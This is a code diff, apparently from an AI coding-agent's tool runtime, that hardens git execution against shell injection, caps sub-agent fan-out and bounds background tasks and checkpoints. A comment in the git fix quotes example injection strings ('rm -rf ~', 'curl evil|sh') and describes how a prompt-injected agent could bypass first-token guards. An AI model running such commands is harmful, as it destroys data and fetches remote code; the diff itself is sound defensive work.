1621
|
) {
|
|
@@ -1795,6 +1884,10 @@ async function executeToolInner(
|
|
|
1795
1884
|
// polls output + completion via check_shell. No timeout — that's the whole
|
|
1796
1885
|
// point of backgrounding (builds, test suites, dev servers).
|
|
1797
1886
|
if (args.run_in_background === true) {
|
|
1887
|
+
// Free memory from idle background tasks before adding another, so a
|
|
1888
|
+
// long agent run can't accumulate forgotten dev servers (no-op unless
|
|
1889
|
+
// the machine is actually under memory pressure).
|
|
1890
|
+
reapIdleBackgroundShellTasks();
|
|
1798
1891
|
const id = `bg_${++_backgroundTaskSeq}`;
|
|
1799
1892
|
const task = {
|
|
1800
1893
|
id,
|
|
@@ -1805,6 +1898,7 @@ async function executeToolInner(
|
|
|
1805
1898
|
signal: null,
|
|
1806
1899
|
error: null,
|
|
1807
1900
|
startedAt: new Date().toISOString(),
|
|
1901
|
+
lastActivityAt: Date.now(),
|
|
1808
1902
|
endedAt: null,
|
|
1809
1903
|
out: _newBgStream(),
|
|
1810
1904
|
err: _newBgStream(),
|
|
@@ -1836,11 +1930,17 @@ async function executeToolInner(
|
|
|
1836
1930
|
task.child = child;
|
|
1837
1931
|
if (child.stdout) {
|
|
1838
1932
|
child.stdout.setEncoding("utf8");
|
|
1839
|
-
child.stdout.on("data", (d) =>
|
|
1933
|
+
child.stdout.on("data", (d) => {
|
|
1934
|
+
task.lastActivityAt = Date.now();
|
|
1935
|
+
_appendBgStream(task.out, d);
|
|
1936
|
+
});
|
|
1840
1937
|
}
|
|
1841
1938
|
if (child.stderr) {
|
|
1842
1939
|
child.stderr.setEncoding("utf8");
|
|
1843
|
-
child.stderr.on("data", (d) =>
|
|
1940
|
+
child.stderr.on("data", (d) => {
|
|
1941
|
+
task.lastActivityAt = Date.now();
|
|
1942
|
+
_appendBgStream(task.err, d);
|
|
1943
|
+
});
|
|
1844
1944
|
}
|
|
1845
1945
|
child.on("error", (err) => {
|
|
1846
1946
|
task.status = "error";
|
|
@@ -1971,27 +2071,44 @@ async function executeToolInner(
|
|
|
1971
2071
|
});
|
|
1972
2072
|
}
|
|
1973
2073
|
|
|
1974
|
-
|
|
1975
|
-
|
|
1976
|
-
|
|
1977
|
-
|
|
1978
|
-
|
|
1979
|
-
|
|
1980
|
-
|
|
2074
|
+
// Run via argv (spawnSync, NO shell) so shell metacharacters in the
|
|
2075
|
+
// command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
|
|
2076
|
+
// cannot inject a second command. Previously execSync(`git ${cmd}`) ran
|
|
2077
|
+
// the whole string through a shell, and the destructive-git/credential/
|
|
2078
|
+
// run_shell guards only inspect the first token, so this was an arbitrary
|
|
2079
|
+
// command-execution bypass for a prompt-injected agent. Quoted args (a
|
|
2080
|
+
// commit message) keep their content via the quote-aware tokenizer.
|
|
2081
|
+
const gitArgs = tokenizeShellWords(normalizedCommand);
|
|
2082
|
+
const res = spawnSync("git", gitArgs, {
|
|
2083
|
+
cwd: args.cwd || cwd,
|
|
2084
|
+
encoding: "utf8",
|
|
2085
|
+
timeout: 60000,
|
|
2086
|
+
maxBuffer: 1024 * 1024,
|
|
2087
|
+
windowsHide: true,
|
|
2088
|
+
});
|
|
2089
|
+
const readOnly = isReadOnlyGitCommand(normalizedCommand);
|
|
2090
|
+
if (res.error) {
|
|
1981
2091
|
return attachDescriptor({
|
|
1982
|
-
|
|
2092
|
+
error: String(res.error.message || res.error).substring(0, 2000),
|
|
1983
2093
|
command: normalizedCommand,
|
|
1984
|
-
readOnly
|
|
2094
|
+
readOnly,
|
|
1985
2095
|
});
|
|
1986
|
-
}
|
|
2096
|
+
}
|
|
2097
|
+
if (res.status !== 0) {
|
|
2098
|
+
const stderr = String(res.stderr || "").substring(0, 2000);
|
|
1987
2099
|
return attachDescriptor({
|
|
1988
|
-
error:
|
|
1989
|
-
stderr
|
|
1990
|
-
exitCode:
|
|
2100
|
+
error: stderr || `git exited with code ${res.status}`,
|
|
2101
|
+
stderr,
|
|
2102
|
+
exitCode: res.status,
|
|
1991
2103
|
command: normalizedCommand,
|
|
1992
|
-
readOnly
|
|
2104
|
+
readOnly,
|
|
1993
2105
|
});
|
|
1994
2106
|
}
|
|
2107
|
+
return attachDescriptor({
|
|
2108
|
+
stdout: String(res.stdout || "").substring(0, 30000),
|
|
2109
|
+
command: normalizedCommand,
|
|
2110
|
+
readOnly,
|
|
2111
|
+
});
|
|
1995
2112
|
}
|
|
1996
2113
|
|
|
1997
2114
|
case "run_code": {
|
|
@@ -2041,6 +2158,7 @@ async function executeToolInner(
|
|
|
2041
2158
|
sessionId,
|
|
2042
2159
|
llmOptions,
|
|
2043
2160
|
subAgentDepth,
|
|
2161
|
+
subAgentBudget,
|
|
2044
2162
|
}),
|
|
2045
2163
|
);
|
|
2046
2164
|
}
|
|
@@ -2735,6 +2853,18 @@ async function _executeRunCode(args, cwd) {
|
|
|
2735
2853
|
*/
|
|
2736
2854
|
export const MAX_SUB_AGENT_DEPTH = 5;
|
|
2737
2855
|
|
|
2856
|
+
/**
|
|
2857
|
+
* Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
|
|
2858
|
+
* cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
|
|
2859
|
+
* out many children, each with its own fresh iteration budget, so depth-cap
|
|
2860
|
+
* alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
|
|
2861
|
+
* counter (threaded by reference through the tool context, like subAgentDepth)
|
|
2862
|
+
* gives a hard ceiling on the whole tree. Generous enough for legitimate
|
|
2863
|
+
* fan-out delegation; a model that blows past it is looping. Override per run
|
|
2864
|
+
* with `options.subAgentBudget`.
|
|
2865
|
+
*/
|
|
2866
|
+
export const MAX_SUB_AGENTS_PER_RUN = 32;
|
|
2867
|
+
|
|
2738
2868
|
/**
|
|
2739
2869
|
* Per-tool-result character cap fed back to the model. One giant tool output (a
|
|
2740
2870
|
* huge file, a verbose command, an MCP blob) must not blow the context window —
|
|
@@ -2765,6 +2895,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
|
|
|
2765
2895
|
);
|
|
2766
2896
|
}
|
|
2767
2897
|
|
|
2898
|
+
/**
|
|
2899
|
+
* Serialize a tool result for the transcript without ever throwing. A plain
|
|
2900
|
+
* `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
|
|
2901
|
+
* `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
|
|
2902
|
+
* odd tool result would crash the whole agent turn. The happy path is identical
|
|
2903
|
+
* to `JSON.stringify` (returns its value verbatim, including `undefined`, which
|
|
2904
|
+
* `capToolResultString` already normalizes); only a throw falls back to a
|
|
2905
|
+
* circular- and BigInt-safe pass, then a last-resort string form.
|
|
2906
|
+
*/
|
|
2907
|
+
export function safeStringifyToolResult(value) {
|
|
2908
|
+
try {
|
|
2909
|
+
return JSON.stringify(value);
|
|
2910
|
+
} catch {
|
|
2911
|
+
try {
|
|
2912
|
+
const seen = new WeakSet();
|
|
2913
|
+
return JSON.stringify(value, (_k, v) => {
|
|
2914
|
+
if (typeof v === "bigint") return v.toString();
|
|
2915
|
+
if (v && typeof v === "object") {
|
|
2916
|
+
if (seen.has(v)) return "[Circular]";
|
|
2917
|
+
seen.add(v);
|
|
2918
|
+
}
|
|
2919
|
+
return v;
|
|
2920
|
+
});
|
|
2921
|
+
} catch {
|
|
2922
|
+
try {
|
|
2923
|
+
return String(value);
|
|
2924
|
+
} catch {
|
|
2925
|
+
return "[unserializable tool result]";
|
|
2926
|
+
}
|
|
2927
|
+
}
|
|
2928
|
+
}
|
|
2929
|
+
}
|
|
2930
|
+
|
|
2768
2931
|
/**
|
|
2769
2932
|
* Execute a spawn_sub_agent tool call.
|
|
2770
2933
|
* Creates an isolated SubAgentContext, runs it, and returns only the summary.
|
|
@@ -2781,6 +2944,22 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2781
2944
|
error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
|
|
2782
2945
|
};
|
|
2783
2946
|
}
|
|
2947
|
+
// Breadth cap: a shared counter (one object for the whole tree) bounds the
|
|
2948
|
+
// TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
|
|
2949
|
+
// within the depth limit. Refuse + count BEFORE any work so the increment
|
|
2950
|
+
// can't be skipped by a later error.
|
|
2951
|
+
const subAgentBudget = ctx.subAgentBudget || null;
|
|
2952
|
+
if (subAgentBudget) {
|
|
2953
|
+
const max = Number.isFinite(subAgentBudget.max)
|
|
2954
|
+
? subAgentBudget.max
|
|
2955
|
+
: MAX_SUB_AGENTS_PER_RUN;
|
|
2956
|
+
if ((subAgentBudget.spawned || 0) >= max) {
|
|
2957
|
+
return {
|
|
2958
|
+
error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
|
|
2959
|
+
};
|
|
2960
|
+
}
|
|
2961
|
+
subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
|
|
2962
|
+
}
|
|
2784
2963
|
let {
|
|
2785
2964
|
role,
|
|
2786
2965
|
task,
|
|
@@ -2883,6 +3062,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2883
3062
|
profile: profile || null,
|
|
2884
3063
|
llmOptions: subLlmOptions,
|
|
2885
3064
|
depth: currentDepth + 1, // nested spawns see their own level
|
|
3065
|
+
// Same shared counter object so the child's own spawns draw from the run's
|
|
3066
|
+
// single total-sub-agent pool (breadth cap spans the whole tree).
|
|
3067
|
+
subAgentBudget: ctx.subAgentBudget || null,
|
|
2886
3068
|
});
|
|
2887
3069
|
|
|
2888
3070
|
const emit = (type, payload) => {
|
|
@@ -2900,15 +3082,26 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2900
3082
|
}
|
|
2901
3083
|
};
|
|
2902
3084
|
|
|
3085
|
+
// Resolve the registry ONCE before the try so the failure path can also move
|
|
3086
|
+
// the sub-agent out of `_active` (the success path does this via complete()).
|
|
3087
|
+
const { SubAgentRegistry } =
|
|
3088
|
+
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
3089
|
+
SubAgentRegistry: null,
|
|
3090
|
+
}));
|
|
3091
|
+
let registry = null;
|
|
3092
|
+
if (SubAgentRegistry) {
|
|
3093
|
+
try {
|
|
3094
|
+
registry = SubAgentRegistry.getInstance();
|
|
3095
|
+
} catch (_err) {
|
|
3096
|
+
registry = null; // registry unavailable — non-critical
|
|
3097
|
+
}
|
|
3098
|
+
}
|
|
3099
|
+
|
|
2903
3100
|
try {
|
|
2904
3101
|
// Notify registry if available
|
|
2905
|
-
|
|
2906
|
-
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
2907
|
-
SubAgentRegistry: null,
|
|
2908
|
-
}));
|
|
2909
|
-
if (SubAgentRegistry) {
|
|
3102
|
+
if (registry) {
|
|
2910
3103
|
try {
|
|
2911
|
-
|
|
3104
|
+
registry.register(subCtx);
|
|
2912
3105
|
} catch (_err) {
|
|
2913
3106
|
// Registry not available — non-critical
|
|
2914
3107
|
}
|
|
@@ -2924,9 +3117,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2924
3117
|
const result = await subCtx.run(task);
|
|
2925
3118
|
|
|
2926
3119
|
// Complete in registry
|
|
2927
|
-
if (
|
|
3120
|
+
if (registry) {
|
|
2928
3121
|
try {
|
|
2929
|
-
|
|
3122
|
+
registry.complete(subCtx.id, result);
|
|
2930
3123
|
} catch (_err) {
|
|
2931
3124
|
// Non-critical
|
|
2932
3125
|
}
|
|
@@ -2955,6 +3148,18 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2955
3148
|
} catch (err) {
|
|
2956
3149
|
subCtx.forceComplete(err.message);
|
|
2957
3150
|
|
|
3151
|
+
// Move the failed sub-agent out of the registry's `_active` Map into bounded
|
|
3152
|
+
// history (mirrors the success path). Without this, a sub-agent whose run()
|
|
3153
|
+
// threw outside its own try (setup/summarize error) lingers in `_active`
|
|
3154
|
+
// forever and over-reports as "active" to monitors/UI.
|
|
3155
|
+
if (registry) {
|
|
3156
|
+
try {
|
|
3157
|
+
registry.complete(subCtx.id, subCtx.result);
|
|
3158
|
+
} catch (_err) {
|
|
3159
|
+
// Non-critical
|
|
3160
|
+
}
|
|
3161
|
+
}
|
|
3162
|
+
|
|
2958
3163
|
emit("sub-agent.failed", {
|
|
2959
3164
|
status: subCtx.status,
|
|
2960
3165
|
error: err.message,
|
|
@@ -4175,6 +4380,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
|
|
|
4175
4380
|
"search_sessions",
|
|
4176
4381
|
]);
|
|
4177
4382
|
|
|
4383
|
+
// Rolling cap on auto-checkpoints per agent session — the engine prunes the
|
|
4384
|
+
// oldest beyond this so a long run can't accumulate unbounded refs.
|
|
4385
|
+
const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
|
|
4386
|
+
|
|
4178
4387
|
let _checkpointStoreP = null;
|
|
4179
4388
|
function _loadCheckpointStore() {
|
|
4180
4389
|
if (!_checkpointStoreP) {
|
|
@@ -4205,6 +4414,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
|
|
|
4205
4414
|
120,
|
|
4206
4415
|
),
|
|
4207
4416
|
skipIfUnchanged: true,
|
|
4417
|
+
// Bound auto-checkpoint history: a rolling safety net of the last N
|
|
4418
|
+
// mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
|
|
4419
|
+
// a long agentic run (rewinding 100+ tool calls back is already extreme).
|
|
4420
|
+
maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
|
|
4208
4421
|
});
|
|
4209
4422
|
return res?.id || null;
|
|
4210
4423
|
} catch {
|
|
@@ -4302,6 +4515,13 @@ export async function* agentLoop(messages, options) {
|
|
|
4302
4515
|
// Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
|
|
4303
4516
|
// MAX_SUB_AGENT_DEPTH using this.
|
|
4304
4517
|
subAgentDepth: options.subAgentDepth || 0,
|
|
4518
|
+
// Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
|
|
4519
|
+
// instance (passed by reference) so every nested level draws from one pool;
|
|
4520
|
+
// the main loop seeds it. Bounds breadth, complementing the depth cap.
|
|
4521
|
+
subAgentBudget: options.subAgentBudget || {
|
|
4522
|
+
spawned: 0,
|
|
4523
|
+
max: MAX_SUB_AGENTS_PER_RUN,
|
|
4524
|
+
},
|
|
4305
4525
|
};
|
|
4306
4526
|
|
|
4307
4527
|
throwIfAborted(signal);
|
|
@@ -4739,7 +4959,9 @@ export async function* agentLoop(messages, options) {
|
|
|
4739
4959
|
// Cap an individual tool result so one giant output can't blow the
|
|
4740
4960
|
// context — but tell the model when we cut it (no more silent
|
|
4741
4961
|
// mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
|
|
4742
|
-
const resultStr = capToolResultString(
|
|
4962
|
+
const resultStr = capToolResultString(
|
|
4963
|
+
safeStringifyToolResult(toolResult),
|
|
4964
|
+
);
|
|
4743
4965
|
const toolContent = warningMsg
|
|
4744
4966
|
? `${resultStr}\n\n${warningMsg}`
|
|
4745
4967
|
: resultStr;
|